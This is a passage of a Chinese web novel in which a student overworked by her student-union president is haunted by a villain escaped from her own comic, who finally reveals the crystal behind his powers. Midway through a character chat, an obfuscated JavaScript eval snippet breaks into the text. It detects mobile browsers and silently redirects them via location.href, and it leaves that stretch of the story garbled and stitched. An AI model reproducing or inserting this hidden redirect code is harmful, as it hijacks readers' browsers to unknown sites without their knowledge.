507会议室很大,玻璃门上贴着防窥贴纸,里面的人影隐隐绰绰透出剪影来,看起来有不少参会人员。 外界听不到内部的声音,庄森芽也不知道这个会议什么时候截止,只好守着门口等待。 她看了一眼时间,已经是十点十五分了,上午第一节课已经开始,上半场看样子恐怕是来不及赶过去了。 望眼欲穿地盯着会议室的大门,她苦苦等待,可它就是不敞开。她不想发信息给裴佑哲问会议还有多久,唯恐打扰到对方,降低自己的‘评分’,导致最终的考核过不去被逐出学生会。 有时候觉得自己挺分奴的,但是没办法,学分不够花钱重修,反之努努力说不定还能够一够奖学金,她就是这么现实。 终于,在感觉几乎在无尽的等待后,会议室的门开了,一群器宇轩昂的正装参会人员一涌而出,像社会精英一样两三为伴,神情认真地边议论边往外走。 庄森芽有点被他们的气场震慑住了,自然而然腾出位置来让路。 在所有人员离开之后,主席也与另一个看起来德高望重的学生会干事一同走出门来。 两人停在门口就校园治安的事情又聊了有十分钟,期间庄森芽自然是一句话也插不进去,只能在一旁等他们谈话结束。 然而两人停止交谈时,裴佑哲就像是忘了她还在这里等待,跟着另一名干事就要离开。 “佑哲……!”她连忙叫住他。 裴佑哲这才停下脚步,侧过身来盯着她,无言地等待她的下文,那副随时要走的模样看起来没有多少耐心,仿佛前不久不是他让她到会议室门口等她,而像是她贸然前来的一样。 庄森芽把抱着的蓝色文件夹敞开,与一只水性笔一同递了上去,“签名……” 裴佑哲看了眼资料,又看了眼她,眼里露出不赞成的目光,“这件事到现在还没办完吗?” 庄森芽有点迟钝地眨眨眼,以为是对方太忙,忘记了她前不久的消息,于是又对他说明一遍,“辅导员办公室的主任说有几页上没签字,你签完了我就给他送过去。” 裴佑哲伸手翻了两页,她连忙给他递笔,他却没接,“最后一页有我的签名,照着那个临摹。下次办事的时候要知道变通。” 他丢下这句话就走了,末了还不忘给她上了一课。 庄森芽一个人在原地凌乱,低头看了眼手里的资料夹,心情有点复杂。 结果把她叫过来只交代了这么一句话……如果这件事可以这么办的话,刚才在手机上直接跟她说不就行了? “哦,还有,”走到一半的裴佑哲突然停不,声音从走廊的另一侧传过来,“你把学生会各部门的成员信息统计一下。前一阵忙,招了多少新人、走了多少老人我都没跟进了解。今晚之前做好交给我。” 庄森芽大声问他,“具体要什么信息?” 裴佑哲没回话,交代完新的任务就走了。 捧着上一个还未完成的任务,她有点无助地站在原地。 他平时在工作场合对待其他学生会干事也是这样的吗?这么严肃认真、不苟言笑……还是说只针对她一个人? 她晃了晃脑袋,不想陷入这种钻牛角尖的想法,她没工夫想这些,还有恨多事情要做。 找了个无人的活动室,拿张白纸练习了几遍签名,差不多了就开始往活动审核资料上临摹。裴佑哲的字写得俊逸超脱,很有个人风格,临摹起来并不简单,但好在庄森芽自己也算是个玩笔的,三流功夫用来应对一个签名绰绰有余。 她写完了,忙得满头大汗,翻到最后一页和裴佑哲的字迹对比,结果还算满意。 跑去办公室把文件递交了上去,这次总算没出什么问题。 叮——任务一达成。 她自己给自己在心里计数。 上午的课还剩不到三分之一,勉强蹭上了一个末尾,听得云里雾里,于是打算之后管同专业的同学借笔记。 中午到了,她去食堂迅速吃了个饭,抽空打开手机,向自己的舍友求救:「素文,你知道所有学生会成员的资料应该去哪里找吗?」 舍友给她回消息:「副秘书长可能知道吧?不过,森芽,你统计这个是要做什么?」 庄森芽发去一个无奈的表情:「是考核内容……」 汪素文发来一个惊讶的表情包:「还要做这些?」 看她这幅惊诧的样子,费洛应该是没有为难她,庄森芽心想自己的好兄弟还是很厚道的。 紧接着给对方回了条消息:「我这位可能严格一点,不过不成什么问题啦。」 不成问题个鬼…… 第一天她就有点扛不住,忙到现在感觉做的都是些没用功,课也没好好上,晚上又要自己补习了。 汪素文发来一个[一切顺利]的表情包,安慰她坚持过去就好了。 她倒是希望一切能顺利……可这不归她控制,裴佑哲只需一句话就能把人溜得团团转,她可以说身不由己。 刚才汪素文说副秘书长可能知道全体学生会成员的信息去哪收集,可是庄森芽翻遍了自己通讯录,欲哭无泪地发现自己并没有加那个齐刘海冷脸学姐的联系方式。 就在这时,学生会主席的消息接踵而至,又是一条新的命令:「学术部的人点了外卖,在校门口,送到一层活动大厅来。」 又是活动楼!她已经三进三出了,再去就要有七进七出的趋势了。 可是吐槽归吐槽,嘴上还是回复人家:「好的。」 裴佑哲发来四位的电话尾号,除此以外什么也没再说,完全把她当成了一个取餐的工具人。 庄森芽加急了吃饭的速度,囫囵地把饭菜塞到嘴里,再忙也不能亏待了自己,这顿饭她一口也不会剩。 嘴里塞得鼓鼓囊囊的,她向校园门口进发,期间还不忘了穿插着处理别的事情。 路上的时候,她打开和费洛的聊天框,向他索要副秘书长的联系方式,叫他把名片推给她。 这金毛犬半天不回话,过了十分钟才回一句:「我没有她的联系方式啊。」 庄森芽不信:「你好歹也是个学生会外联部的名人,怎么可能没有副秘书长的联系方式?」 费洛:「哦,想起来了,我有过。」 庄森芽不懂这是什么形容:「有过?」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347131|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费洛发来一个没心没肺的笑脸:「她嫌我话太多,把我删了。」 庄森芽:「……指望不上!」 费洛发来段语音,听起来有点委屈:“干嘛这么说你狗哥?” 她没回信,人已经来到了校园门口,找到了送外卖的送餐员,看到他拎着两个沉甸甸的白塑料袋,庄森芽隐隐觉得有点不安。 “尾号0725。”她报上数字。 “诶对。”送餐员应和道,他看了庄森芽一眼,又看了看她身后,“就你一个人啊?” “……对,就我一个。” “那你可悠着点,小姑娘。” 接过对方手里的两个白袋子,庄森芽险些没跟它们一起摔在地上,同时蓦然睁大了眼。 ……好沉!里面装的是什么东西,石头吗? “要不你再叫个人来吧。”看她费力的模样,外卖员说。 “不、不用,我一个人,行……”她咬牙说着,提着两个铅球似的袋子往活动大楼走。 她去小卖部想借个手推车,店员却告诉她唯一的手推车被临时借走了,要晚上才能还回来,庄森芽听了只能自认倒霉。 这时候,手机响起来,打电话的人是裴佑哲,她忙不跌接起来,还没等说话,对面就传来质问的声音,“外卖为什么还没到?” “很快……!再给我十五分钟。” “十分钟内送过来。”说罢,他挂断了电话。 听着那冷冰冰的电话挂断音,庄森芽闭上眼睛,长叹一口气,而后认命地睁眼,提起那两袋外卖冲出小卖部,一鼓作气半步不停往活动大楼的方向冲刺。 离开住宿区,跨越校内的湖泊,大楼的身影终于清晰可见。她感觉身体都快要散架子了,两只胳膊酸得麻木,仿佛不属于自己,被带子勒住的指尖已经失去了知觉,只剩那尖端的一点点寒意。 终于来到了活动大楼一层,大厅内,学生们正在忙碌着,似乎在筹备什么活动,她远远看到了讲台台阶下方的裴佑哲,于是朝他走了过去。 学生会主席看到她,又低头看了一眼腕表,“你晚到了两分钟。” 庄森芽喘息得很厉害,她把袋子放在讲台上,“对不起,但是外卖太重了……” 双手已经被勒红,修长的手指有点扭曲,甚至维持着弯曲的模样,一时都无法回直,看起来可怜兮兮的。 裴佑哲看了一眼,一点反应都没有,甚至连句谢谢都没说,转而招呼学术部的人过来分发午餐。 “你可以走了。”他对她说,仿佛她是什么即用即弃的棋子,“成员信息尽快统计好发给我。” 庄森芽张口,“可不可以把副秘书长的联系方式推给我?” “我现在没空,之后再说吧。”裴佑哲说完,转过身去找学术部的老大,两人就即将要展开的学术表彰大会进行着密切的交流。 她呆站在原地,感觉自己像是块被抛弃的干瘪破布一样,惨淡无比,无人问津。 盯着和人交谈的裴佑哲,心里很不是滋味。 推一个名片而已,明明十秒钟都用不到……他却说没空。 虽说是考核,可是至于做到这种程度吗。 那天晚上的事归根究底不是自己的错,可到头来却是她承受着这些惩罚,这让人心里不是滋味。 庄森芽抿了抿唇,默默离开了活动大厅。 81. 说出来谁也不信 第二项任务完成,但是她却没有多少成就感。 一时间想不到什么好的办法统计学生会成员名单,她于是便按照自己的日程去教学楼上课,可是这门课却听得心不在焉,满脑子都是裴佑哲对她的横眉冷对,越想就越是觉得憋屈。 偏偏这个时候,主席又夺命一样发来了新的消息,庄森芽没看就知道那一定是下一份任务。 有些抗拒地点开聊天框,她收到了几个文件,最下方是裴佑哲的一句话说明:「这些是学期末联谊会的合作详情,今天看完,明天外联部开会时由你总结陈述。」 文件总共有三份,从大小上来看,都不是什么十分钟能看完的体量。她有点颓然地趴在桌面上,课程是一个字也听不进去了,裴佑哲的消息也没有回,更没有打开那几份看起来十分冗长的文件,闭上眼睛,简直想这么一睡不起,最好醒来的时候发现这不过是一场令人讨厌的梦。 结果她还真睡了过去,吵醒她的是学生们走动的声音,庄森芽迷茫地抬头,发现原来是下课了,一整节课都没有人叫醒她,讲台上的外教老师曾经任职于国外,像她这种上课睡觉的算是最无害的一种学生。 没有人管她听不听课,大学不再像高中那时一样对学生们的懈怠严防死守,她已经是社会定义下的成年人,对自己的学业也好什么也好需尽百分之百的责任。 庄森芽手脚有些缓慢地收拾着自己的东西,把它们原路装回背包里,笔记本来的时候是空白,回去的时候还是空白,这堂课算是白上了。 睡了一觉,然而待解决的事情不会因此消失,裴佑哲冰冷的命令还躺在对话框里,亟待她去执行。 第一天压力就这么大,她怀疑接下来几天只会更糟。 这哪是什么‘一周情侣’,根本就是一周打工人…… 她心里有些抱怨,但是敢怒不敢言。 不过,一觉过后,思绪清晰了些,这也算是上课睡觉唯一的好处了。 她想到该如何统计学生会成员的名单,打开通讯录找到了辅导员,又通过她顺利要到了巴木优的联系方式,曲线救国终于成功,她早就应该这么做了。 “学生会全体成员?”电话对面响起副秘书长的声音。 “是的……主席让我统计现有的成员名单。” “为什么他会让你做这个?” “应该算是考核内容。” “……”巴木优停顿了片刻,一向没什么波澜的音色鲜少地出现了起伏,“他没找你出去玩,去吃饭逛街之类的,而是给你分派学生会的任务?” 那些事情和考核八竿子打不着吧,她都不奢求有那些待遇,如果裴佑哲能少派些任务过来,她就谢天谢地了。 “是的……” 巴木优嘟囔了一声什么,庄森芽没听清。 “你要的资料在我的办公电脑里,下午等我上完课之后带你去找。学生资料是机密文件,带不出校园系统的,你只能用眼睛看用手抄。” 果然副秘书长有门路,不管什么方式,庄森芽只觉得放松下来,终于找到办法完成一早派来的任务了,“我可以的。” 和巴木优约定了时间,庄森芽来到学生会秘书处等她。 大约半个小时之后,副秘书长来了,她用指纹打开了秘书处的大门,带着庄森芽走进去。 里面是一个个隐蔽性很强的工位,第一眼看上去很气派,她只在一些来学校招聘的公司的宣传手册上见到过,没想到校园里居然也有这么正式的地方,一走进去就感受到一股莫名的严肃气场。 “今天人都不在,你可以尽情盗窃信息。”巴木优带着她往里面走,边开玩笑似的说。 庄森芽好奇地打量着周围,心想自己将来会不会也在类似这样的地方工作。 走过其中某个工位的时候,一个半躺在人体工学椅里面的身影一晃而过。 她猛然驻足,双眼大睁。 巴木优听到身后的脚步声停了,回头看她,“怎么了?” “你有没有看到……刚才那个工位上有人?” 副秘书长往刚才经过的工位看了一眼,“没有,你把挂在椅子上的衣服错当成人了吧。” 她说着,没怎么当回事,继续往自己的位置走。 可庄森芽分明感觉有什么从背后接近,紧接着是一个令人汗毛倒立的声音,然而巴木优却似乎对这一切没有反应。 “你看起来很忙,”低哑的声音宛如恶魔的低语,尾音的轻笑像是黄泉路上的风铃,它们萦绕在她的耳旁,“不用管我,我只是无聊了就来看看你。” 庄森芽猛然回身,果然看到了那个令人胆寒的人。 诺特斯嘴角勾着一抹浅笑,看起来心情尚佳,他耳朵上挂着一副荆棘似的耳坠,上身穿着件长袖宽版白毛衣,松松垮垮地坠在肩上,下身是条有点夸张的微喇裤,看起来像是舞台上才会有的造型。 她连忙退了两步,和对方拉开距离,想开口问为什么会出现在这里,可下一刻反应过来对方已经解释过了;想问对方打算做什么,可碍于巴木优就在不远处,她总不能张口和一个谁也看不见的人说话。 “不用这么紧张。”男人张开双臂,展示自己毫无寸铁的模样,就仿佛读懂了她心里在想什么,“我没有恶意。” 对于一个总是猜不透心思、作案也不需要工具的人来说,她会轻信他现在故意摆出的这幅无辜模样就有鬼了。 “森芽?”巴木优在自己的工位上呼唤。 “……来了。”庄森芽谨慎地盯着诺特斯,缓缓移动脚步往副秘书长的方向靠拢。 “这些就是。”巴木优在电脑上调出一个界面,上面密密麻麻写满了学生的个人信息,包括最基础的姓名、性别、年龄、联系方式,还有所读专业、所属社团、职称,更有甚者还包括了家庭的详细信息。 巴木优将学生会的人员筛选了出来,往座椅上一靠,朝她说:“带纸笔过来了吧?” “嗯……?啊,我带着的。”庄森芽有点心不在焉,目光时不时瞟向在场的第三人,诺特斯像是对什么都充满了好奇,一会盯着阳台上的盆栽看,一会又对着别人的办公桌研究起来。 “不可以冲屏幕拍照喔。”副秘书长音色寡淡地提醒,“显示屏经过了个人信息编码加密处理,照片传出去的话,会追查出是在我的电脑上拍下的照片。” “好的,我不会拍照的,木优学姐。”庄森芽如此保证。 副秘书长倒是也放心她,把名单调出来之后就离开了座位,把椅子让出来,自己跑到一旁的座位上捧着手机玩。 庄森芽从包里翻出准备好的空白笔记本,开始专注地从电脑屏幕上抄写信息下来。 说是专注……其实她也没那么专 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可能是自己三番五次打量诺特斯的视线太奇怪,让副秘书长产生了疑心,庄森芽连忙收回视线,老实无比,为自己辩白,“没有没有,绝对没有,我就是怕外面突然进来人……” 巴木优盯着她,总是无光的眼睛衬得她有种机械的美,但同时也有点渗人,“这你倒是不用担心,反正来人了也不知道你在做什么。” “好的……” 副秘书长把隔壁的椅子挪了过来,坐在庄森芽的旁边继续玩手机,看样子是在密切监视她的一举一动,怕她做出什么不该做的举动出来。 庄森芽是真的没有那个心,她只是有点过分在意在场的另一个人,但为了避免巴木优再起疑,她也不敢大张旗鼓地盯着那个人看了,只能用余光偷瞄他的举动。 “话说,”巴木优冷淡的声音再度响起,“你和主席是闹了什么矛盾吗?” 话题提出得有点突然,庄森芽有点没反应过来,“什么?” “让你做这种事可不符合我对他的印象。”她盯着自己手机屏幕,说道,“我只能猜测你们两个之间是不是发生了什么。之前不是相处得挺好的吗?” 副秘书长的问话乍一听有点拐弯抹角,但实际却很直白。庄森芽不知道该怎么回答,明眼人的确很容易就能看出裴佑哲对她态度的变化,但个中原因却不是那么好解释的。 她写满了一页纸,翻到下一页,在崭新的白纸上落下第一笔,“我可能是惹他生气了……” 巴木优放下手机,“你做什么了?” “说了些过分的话。” “比如呢?” 她瘪瘪嘴,说不出口,只是摇摇头。 巴木优沉吟一声,理性地分析,“只是因为说了些话他就生气了?这也很不符合他的性格。” 这时候,庄森芽突然感觉到一阵没由来的紧张,不是因为和副秘书长的交谈,而是因为别的什么。 她很快就弄清楚了原因。 那个一直在办公室游荡的身影终于停止了漫无目的的散步,朝着在场另外两人的方向而来,他视若无物地穿过巴木优的身体,坐在直角型的办公桌上,一手撑着桌面,饶有兴致地盯着庄森芽笔下的名单,像个没事人一样聆听两人的谈话。 82. 套话 “你到底和他说了什么?”巴木优面上没什么表情,但能感受出她很好奇,追问随即而至。 诺特斯的视线从上方投递下来,虽然没有和他对上目光,但庄森芽知道,那一定是看好戏的戏谑眼神。 她捏紧了笔杆,导致她和裴佑哲关系恶劣的始作俑者就在旁边,然而她却不能表现出什么,想愤愤地朝他打上无用的一拳都做不到。 “总之就是些……有些伤人的话。” “他向你告白,你拒绝了?”巴木优猜测。 “不,怎么可能,佑哲不喜欢我。” “谁跟你说的。” “他跟我说的。” “什么时候?” “就今天。” “……”学生会副秘书长紧闭着嘴,微微仰头,模样了然。 诺特斯附身下来,音色调侃,“喔——之后还发生了这样的事?好有意思啊。” 闭嘴吧。庄森芽在心中默念。 制造麻烦的人还好意思在这里作壁上观,这人果然一点可取的优良美德都没有。 “好吧。”巴木优说,“他之后要是问起你怎么弄到的学生会成员信息,可别说是我提供的喔,我可不想被他的怒火波及。” “放心吧,学姐,我一个字都不会说。”庄森芽做出保证。 终于将学生会名单抄写完毕,她感谢了一番巴木优,离开了秘书处,打算回到宿舍把内容整理到自己的电脑上,而之所以不直接带着电脑过来是因为……她忘了。 高中时期一切都用纸笔书写经历还镌刻在身体里,一时间改不掉。 和巴木优分别之后,她本想着找个没人的地方和诺特斯交谈,哪想到这家伙根本没跟上来,莫名其妙就消失了。 裴佑哲在手机上催问她学生会名单的进度,庄森芽回了句很快就好,也一时没空去管诺特斯的事。 回到宿舍开始整理成员名单,一字一句从纸张腾挪到电脑上,密密麻麻的小字弄得她头晕眼花。 终于在黄昏未至之前整理好了,给裴佑哲发过去。 文字发送几分钟之后,对面回了信。 没说她做得怎么样,只是阐述着接下来的任务:「别忘了联谊文件,明天外联部会议在早八点,501会议室。 庄森芽盯着这段不带感情的文字,悄悄叹了口气。 第三项任务完成,可她依然没觉得轻松半点。 侧头看向宿舍窗,外面的天空已经有些泛红,今日就要进入尾声,而她却不能像其他学生那样休息,还有亟待完成的任务,今天落下的课业也需要补上。 她觉得自己可能会操忙到很晚,为了不打扰舍友休息,于是抱着电脑一个人去往了图书馆。 图书馆分为三层,每层都有一间专门用于自习的大教室,另外有零散的座位分布于各个图书室。 庄森芽找到了一个安静的角落,背后是明净的窗户,眼前是书桌的挡板,没有任何干扰,是个能专注学习的好地方。 打算集中精神把今日仅剩的两个大块头啃掉,翻出了诺特斯给她的那台价格不菲的笔记本,它被保存得很好,主要是怕哪天被对方索要回去,发现出现了什么破损,那家伙会无理取闹找她赔偿。 屏幕上闪过平滑的粒子特效,开机启动一点声音都没有,安静得仿佛它从未沉眠,此刻只是睁眼。 把裴佑哲发来的联谊文件传到电脑上,庄森芽打开一个空白的文档,边读文件边做记录。 她大概了解到,十二月份的时候,学校将与上茂外国语大学开展一场联谊会,地点就在活动大楼一层,到时会组织一些互动内容,比如五分钟快速交流、分组竞赛、唱歌舞蹈等自由才艺展示,还有印象评分等等。 她大概过了一遍文档,差不多了解之后,写了个整体的框架,打算明天开会的时候照着念。 大脑在接收过量的信息之后有些疲惫,但她没有休息,转而又翻开医学课本。 今天上的是解刨学基础课,她一个字没听进去,怕一次疏漏再也跟不上后面的课程,于是只能熬夜恶补。 青蛙的平面解剖图初看觉得惊悚,时间长了心情毫无波澜,甚至还有点想睡觉。 她一只手撑着自己的脑袋,一只手负责翻动纸张、做笔记,偶尔在电脑键盘上敲两个字。 夜已经深了,图书馆也没有几个人影,她所在的图书室也只剩下自己一个人。 本来课本就已经过于枯燥,用英文撰写的就更是如此,读了一行见字忘义,到头来半句都没看明白,加之困意作祟,一个句子读了三遍硬是读不懂,全都认识的字母组合在一起成了一纸天书,她觉得自己可能走在天国的步道上,要么怎么纸上的文字会蹦来蹦去,让她找不到上一秒读到了哪里。 “在研究怎么杀我?” 睡意朦胧之间,背后传来的低语使她惊醒。 庄森芽蓦然双眼大睁,往身后看去,就见诺特斯双手插兜靠在窗沿上,他换了身更素净的衣服,白衬衫平整合身,没有白天那身演出服那么惹眼,他目光直勾勾的,落在桌面摊开的书页上。 刚从半梦半醒间惊醒,她反应有点迟钝,有点讷讷地回复对方,“没有,这是解刨学的教材……” 男人挺腰驱动身体,来到自习桌的边上,伸手翻动两页,“你们还要学这个。” 意识渐渐回笼了,一些更加复杂的情绪紧随而至,比如提防、戒备,以及怒与惧。 她盯着眼前的男人,身子往另一边倾斜,下意识和他拉开距离,她不知道男人出现的动机。 不过,反正她永远也弄不明白,干脆不去想了。 现在正是一个和他单独交谈的好时机,她转而问起自己想问的问题,“关于上一次我们说的事,有一点我不是很明白。” 诺特斯斜看了她一眼,比起她提及的内容,似乎对教材更有兴趣,“哦,哪点?” “你说你想留在这个世界上……这具体要怎么实现?”庄森芽用话语一步步设计着陷阱。 诺特斯翻动着教材,目光紧随其上的文字, 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诺特斯的笑意更深了,“你想让我怎么证明?” 机会来了。 庄森芽装出一副也不是很想管这件事的模样,不太在意地例举,“比如相关的文献资料什么的,或者科学家的名字也行。” “资料我没有,”诺特斯说,“但名字可以告诉你。” 她侧过耳朵,摆出一副‘我在听’的模样,面上是一副无所谓的态度,可心里却紧张起来,答案即将揭晓,她难以按捺心底隐隐的激动。 男人俯下身来,脸颊擦过庄森芽的耳朵,像将要传递一个秘密。 她感觉到一股气息轻抚侧脸,有种耳鬓厮磨的错觉,这一瞬间,有许多相关的杂乱回忆闪过脑海,弄得身体有点紧绷。 紧接着,诺特斯的气音在耳畔响起。 “哈兰·戈斯。” 刚一听到这个名字的时候,庄森芽第一个想法是:这是个外国人名,而且不像是一个女性的名字。而当看着诺特斯一脸坏笑起身时,她这才反应过来,这个名字她很熟悉。 哈兰·戈斯,《灵月十四》之中的人物,诺特斯曾经的友人,在漫画开篇的时候就已经去世了。 她有点恼怒,感觉被对方耍了,眉头紧皱起来,脸也耷拉着,瞪着对方,敢怒不敢言。 诺特斯悠然一笑,转而盯着窗外,颇为随意地捋了一把卷发,露出发鬓和太阳穴来,“你的那点小心思都写在脸上了,打探科学家的名字,想做什么,嗯?” 庄森芽不说话,好不容易想到的刺探话术居然就这么被识破了,她有点郁郁寡欢。 就连科学家的名字都打听不出来,那她岂不是拿诺特斯真的一点办法都没有了。 现在报警还有用吗,就说漫画里的大反派走了出来威胁人身安全……感觉没用,警察会把她当成神经病送她去医院。 一时束手无策,不知道该怎么办才好了。 83. 有人玩脱了 有点郁闷地拿起自己的医学教材,翻回刚才读到的那一页,被解剖的青蛙还在那里躺着,代表她刚才将近一个小时都没有看进去一页书。 “都这么晚了,你还不回去?” 她没理会他,强行往脑袋里装那些难懂的英文,态度忽然在这个时候较起真来,不把今天上课所讲的内容补上,她不会走。 “总是熬夜对身体可不好。” 她权当没有听见对方的话,旁若无物地专心读着课本,仿佛刚才和诺特斯那番对话没有发生过一样,用指尖划过文字的下方,逼迫自己把每一句话看进去, “我说,你听见我说话了吗?” 一句话没读懂,她就再看一遍,十遍也读不懂,那就读二十遍。现在只有这件事情能让人感觉到安定,只有眼前的课本起码能提供一丝掌控感,她已经不想再去管其他的什么了。 可是下一刻,唯一能让她镇定的东西也被抽走,诺特斯单手握着书脊,啪一下子合上了它,一手捏住庄森芽的下巴,把她的脸蛋扭过来,居高临下看着她,“我在和你说话呢。” 她猛然晃了一下脑袋,从他的手中挣开,伸手去抢医学教材,“还给我。” 男人将书举得很高,庄森芽就算扑到他身上也够不到。 他张口,有点夸张地说:“悠着点吧,别把自己累出什么毛病了。” 她不觉得这些话是关心,因为从很早以前对方就说过,她出了什么事情的话他也会很困扰,所以不难理解,诺特斯所说所做的一切动机归根究底还是为了他自己。 身高拉开了差距,她徒劳地锤了一下对方的肩,可还是碰不到教材的边缘。没有就此放弃,哪怕像是投怀送抱一样挂在对方身上也不管了,心里不知为何升起一股执念,说什么也要夺回属于自己的东西。 如果夺不回来的话,总觉得情绪会崩溃。 最近这些日子发生了很多事情,全都往预想不到的最坏的方向发展,她决定不了,也控制不了,感觉自己就像浮萍一样,被风吹去哪就只能接受。 她不喜欢这样,什么都掌握不了的感觉让人不安,不确定的隐患令人心神焦虑。只有书本,那些枯燥且永恒的文字,能让她有一丝确定感,不至于被外界的汹涌波涛掀翻无帆的小船。 “这么固执啊。”诺特斯的上衣被她扯得乱七八糟,他显得有点难办。 紧接着,他露出一个有些残忍的笑容,细碎的声音响起,像是风挂过杨树时发出的沙沙声。 她看到男人用掌心拖着那本教材,而它像是陷入流沙一样,向他手掌中心坠了下去,进去的时候是完好的,可从手背出来的时候却已变成了齑粉。 像是一场魔术,那本厚重的医学教材就这样凭空变成了碎屑,甚至不需要风吹,在飘向地面的过程中就失去了踪影。 庄森芽有些发愣地看着这一切,渐渐感觉一种麻木的情绪从底部向上攀升。 接着,她扑通一下坐回座位上,连生气的力气都没有,头低垂着,显得有些死气沉沉。 感觉周围的空气好像在挤压过来,导致连呼吸都需要努力,好像整个世界都在和她作对。 从海岛旅行的那个夜晚开始,似乎一件好事都没有发生过。 最初的导火索是与温枣的那通电话,诺特斯得知她的真实意图之后,就用裴佑哲的性命威胁她,还要她对他说出那些过分的话。 随之而来的就是主席的一次又一次冷漠相待,到现在的横眉冷对,以及对她的百般为难。 过程之中,唯一想要保守的秘密也被无情地公之于众,她还记得被学生们当面肆意评论画作是怎样感受,直到现在也调理不好。 这些叠加在一起,像是一座沉重的大山压在她的肩上,她甚至还没算上诺特斯居高临下的揭穿和带给她的种种潜在威胁。 而现在又是这样……眼前的男人毁了她当下心灵上的唯一寄托。 就算是课本上那些枯燥的文字,对此刻的她来说,也是润泽心灵的甘泉,因为它不会对她恶言中伤,也不会用话语折磨内心。 但现在她已经什么都没有了。 意识到这一点的时候,一种控制不住的情绪从麻木的内心窜上来,直到鼻梁和眼窝,化成酸涩的泪滴在眼眶里打转。 “人生就是要张弛有度才行,一味埋头苦读是——”诺特斯的话说到一半,陡然停了下来,他低头,用指尖撩开她白色的发帘,“你……” 庄森芽偏过头去,不想被对方看到自己现在的模样。 她也不知道自己是怎么回事,明明不是一个爱哭的人。被十分信赖的主席如此冷漠对待,又被周围的学生们明里暗里地嘲讽她所画的漫画,这些都没有打败她,可是上大学之后两次掉眼泪却都交代在了这个男人的面前。 她认定这是对方的错,因为每次他出现的时候,总是会带来滔天的凶涛骇浪,弄得她情绪不稳,失去了平日里的冷静。 身边传来衣料的摩擦声响,余光瞥见男人蹲了下来,打量的目光透过发丝刺探而来。 “怎么哭了……我不就是把你的书给毁了吗。” 说得好像她在小题大作似的,可是他哪能理解,问题根本不是出在这一本教材上,这件事只是最后一根稻草,骆驼早就奄奄一息了。 丑态百出,还要被人盯着嘲弄,没有比这更令人讨厌的事了。 “……别管我。”她说。 “没办法不管,我见不得女人哭。”说着,他又伸手托住她的下巴,想把她的脸转过来,“是最近压力太大了还是怎么?和我说说,或许我可以帮忙。” 庄森芽一下子打开了他的手,瞪着通红的眼睛,愤恨地盯着他,“你能帮我什么。” “只要你说,我就——” “你不是也在一直欺负我吗?”她打断了他,终于是把这句话开诚布公地说出了口。 对面的人眨眨眼睛,对这突然而来的斥责表现得有些发愣。 话匣子一旦敞开就关不上了,庄森芽只觉得那些堆积在胸腔的黑水一股脑涌了出来,变成了控诉的话语,“威 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手心下传来心跳鼓动的声音,这不是她第一次感受到诺特斯的心跳,然而每一次都有种奇怪的感觉,那使她自己的心跳也加快,她断定这是危险的信号。 “我随随便便威胁两句,你就害怕了。”诺特斯抬起视线,金棕色的眼眸直白地盯着她,“可你完全没必要这么怕我。我说实话吧……你的反应虽然有意思,但确实也有点让我受伤,因为会害怕就代表你并不了解我。” 了解他?庄森芽自认在对方的威胁性这方面已经了解得够多了。 她是害怕,那又怎样,没什么不能承认的。自己只是个普通人,而对面则是个穷凶极恶的反派,要她一点恐惧也没有才是不可能的。 “我怎么不了解,你做过什么我比谁都清楚。”她说。 诺特斯移开视线,那是心虚的表现,“这个……我手上确实沾着血,但那些也不是什么无辜的人。” “在你的角度,你当然会这么说了。”庄森芽又开始猛烈挣扎,想要夺回自己身体的控制权。 他沉吟一声,没什么征兆地松开了她。惯性让她差点没一个后仰摔在地上,好在背后有半个椅背拦了一下。 男人用指尖勾住自己脖颈上一条黑色的细线,那看起来是一个挂坠的绳子,“你觉得我是坏人,随便。但如果你觉得我是坏人而因此讨厌我,说实话我不太开心。” 他把挂坠从衬衫的下方勾了出来,黑色的细线底部连接的是一个绿色的晶体,它被一个玻璃形状的小器皿罩着,在夜色下泛着莹莹的光。 “这个你知道是什么吧。”他说。 庄森芽当然认得这个东西,它是石剑醇,《灵月十四》中的一种虚构资源。 但现在在形容它是虚构资源就有点不恰当了,或许温枣白色挎包上的那个自己做的周边是假的,但在诺特斯胸前挂着的这个挂坠怎么想无疑都是真的石剑醇。 84. 自爆弱点 她不理解诺特斯为什么要把这种东西带出来,而男人的话很快回答了她的疑惑。 “我力量的源泉就是它。”他说着,手掌握住绿色的晶体,往下一拽,黑色的线条应声而断,手心摊开,他将那个小小的一颗石剑醇递给她。 庄森芽感到困惑,“做什么?” “让你安心些?”诺特斯也不太确定地说,“离开这个小东西,我就没办法使用任何能力了。” 听到这番话,她有些不太相信地盯着他。 她一直苦苦寻觅的弱点,男人居然就这么直白地自己说出来了? 她不认为对方会这么愚蠢,所以这怎么想都是一个陷阱。 看到她戒备的模样,诺特斯露出有些惊讶的神情,“别告诉我你连这个都不知道……《灵月十四》真的是你画的吗,你不会是什么冒牌作者吧?” 庄森芽有点阴沉地盯着他,“……我没进行过这样的设定。” 男人挑挑眉,接着了然一笑,“看来那位科学家说的是对的。‘世界’是有生命的,有时候只需要种下一颗种子,它就会自己生根发芽,变成栽种者自己也不认识的模样。” “……”她听不懂,认定他在进行一些歪理邪说。 诺特斯用指尖拨弄了一下手里的绿色晶体,十分有耐心地解释道:“莱王星上有很多用你们这个世界的规则无法解释的现象,其背后都是石剑醇这种物质作为源头去实现,我能隐身也是一样。现在你只要把这小块晶体拿得离我稍微远一点,我和它之间的连接断开,你再用铁铲敲打我的脑袋,我是没办法修复伤口的。” 看样子,他还记得庄森芽唯一伤害到他的那一次。 对于诺特斯的这段自白,她持怀疑的态度,毕竟当下也没有办法验证。就算把这一小块石剑醇从三层楼抛下去,也无法证明诺特斯是否失去了他的能力,他完全可以装作无法隐身的模样,以来骗过她的眼睛。 诺特斯似乎能看出她眼中残存的不信任,他抓过她的手,把那小块晶体放在她的手上,“你看。” 